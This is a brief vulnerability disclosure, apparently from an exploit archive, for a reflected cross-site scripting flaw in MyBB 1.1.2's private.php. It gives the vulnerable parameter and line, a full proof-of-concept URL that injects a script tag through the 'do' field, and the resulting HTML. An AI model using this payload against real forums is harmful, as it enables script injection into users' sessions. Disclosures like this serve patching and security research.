// MyBB 1.1.2 New XSS
File :- private.php
Ver. :- $do = $mybb->input['do'];
Line :- 260
Action :- Preview
HTTP Proof :-
/mybb/private.php?to=asda&subject=asd%3E&font=-&size=-&color=-&mode=advanced&message=sd&options%5Bsavecopy%5D=yes&options%5Breadreceipt%5D=yes&action=do_send&pmid=&do=D3vil-0x1%22%3E%3Cscript%3Ealert(1);%3C/script%3E&preview=Preview
// Code
<input type="hidden" name="do"
value="D3vil-0x1"><script>alert(1);</script>" />
//